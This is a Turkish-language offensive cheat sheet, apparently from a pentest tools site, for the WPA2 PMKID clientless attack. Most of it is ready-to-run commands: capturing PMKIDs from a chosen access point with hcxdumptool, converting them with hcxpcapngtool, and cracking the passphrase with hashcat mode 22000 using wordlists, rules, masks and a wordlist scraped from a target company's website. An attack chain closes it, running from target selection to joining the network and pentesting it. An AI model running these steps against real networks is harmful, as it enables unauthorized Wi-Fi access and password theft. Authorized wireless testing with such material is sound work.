PMKID Saldırısı (clientless)

WPA2 clientless

PMKID saldırısı, bazı AP’lerin RSN IE içinde (ilk EAPOL çerçevesinde) PMKID göndermesinden yararlanır. Böylece bağlı istemciye ve deauth’a gerek kalmadan kırma malzemesi toplanabilir — gece boş ofis veya clientless hedef için pratiktir. hashcat mode 22000 hem PMKID hem EAPOL’ü kapsar.

Ön koşullar

- hcxdumptool + hcxpcapngtool (hcxtools)
- Monitor mode arayüz
- Hedef AP RSN PMKID sunuyor olmalı (tüm AP'ler sunmaz)
- WPA/WPA2-PSK; WPA3-SAE bu akışa uymaz

Nasıl çalışır (özet)

PMK = PBKDF2-HMAC-SHA1(PSK, ESSID, 4096, 256)
PMKID = HMAC-SHA1-128(PMK, "PMK Name" || MAC_AP || MAC_STA)
AP association sırasında PMKID'yi gönderirse → offline PSK denemesi mümkün

İstemci etkileşimi hcxdumptool tarafından sahte association ile tetiklenebilir; gerçek kullanıcı gerekmez.

PMKID toplama

hcxdumptool ile yakala :

sudo airmon-ng start wlan0

sudo hcxdumptool -i wlan0mon -w pmkid.pcapng --enable_status=15

echo "aabbccddeeff" > ap.list

sudo hcxdumptool -i wlan0mon -w pmkid.pcapng \
  --enable_status=15 --filterlist_ap=ap.list --filtermode=2

hashcat formatına çevir :

hcxpcapngtool -o hash.22000 pmkid.pcapng

hcxpcapngtool -o hash.22000 pmkid.pcapng -E essids.txt -I info.txt

cat hash.22000

grep '^WPA\*01' hash.22000

Kır :

hashcat -m 22000 hash.22000 rockyou.txt

hashcat -m 22000 hash.22000 rockyou.txt -r rules/best64.rule

hashcat -m 22000 hash.22000 -a 3 '?l?l?l?l?l?l?d?d'

hashcat -m 22000 hash.22000 corp.txt -r rules/dive.rule

Eski yöntem (hashcat 16800)

hcxpcapngtool -o hash.16800 --purehash pmkid.pcapng

hashcat -m 16800 hash.16800 wordlist.txt

airodump ile PMKID?

Klasik airodump-ng + deauth EAPOL handshake toplar; PMKID clientless senaryoda hcxdumptool ile daha güvenilirdir. Karışık yakalama:

sudo hcxdumptool -i wlan0mon -w dump.pcapng --enable_status=15

hcxpcapngtool -o hash.22000 dump.pcapng

grep -E '^WPA\*(01|02)' hash.22000

Wordlist stratejisi

cewl https://www.target.com -m 6 -w cewl.txt

hashcat -m 22000 hash.22000 -a 3 'Company?d?d?d?d'

PMKID kırma maliyeti handshake ile aynıdır (PBKDF2); GPU şart.

Birden fazla AP

hcxdumptool ...   # hepsini topla

hcxpcapngtool -o all.22000 dump.pcapng -E essids.txt

hashcat -m 22000 all.22000 wordlist.txt --username

Başarısızlık durumları

AP PMKID göndermiyor          → klasik handshake'e dön
WPA3 only                     → SAE; bu saldırı yok
Zayıf sinyal / yanlış kanal   → filter + kanal sabitle
Boş hash.22000                → daha uzun dinle; RSN IE kontrolü
Sadece WPA*02                 → aslında EAPOL yakalandı; yine 22000 kır

sudo iw dev wlan0mon set channel 6

tshark -r pmkid.pcapng -Y 'wlan.rsn.ie.pmkid' -V | head

Komut üreteci

hcxdumptool · PMKID

embedded tool

Monitor ifaceOutput

Generated command

sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1

hcxdumptool · PMKID

Saldırı zinciri

wash/airodump → hedef BSSID
  → hcxdumptool filterlist_ap
  → hcxpcapngtool → WPA*01*
  → hashcat 22000 + şirket wordlist
  → PSK → nmcli connect → network pentest

PMKID yok → deauth + airodump handshake
  → aynı hashcat 22000 pipeline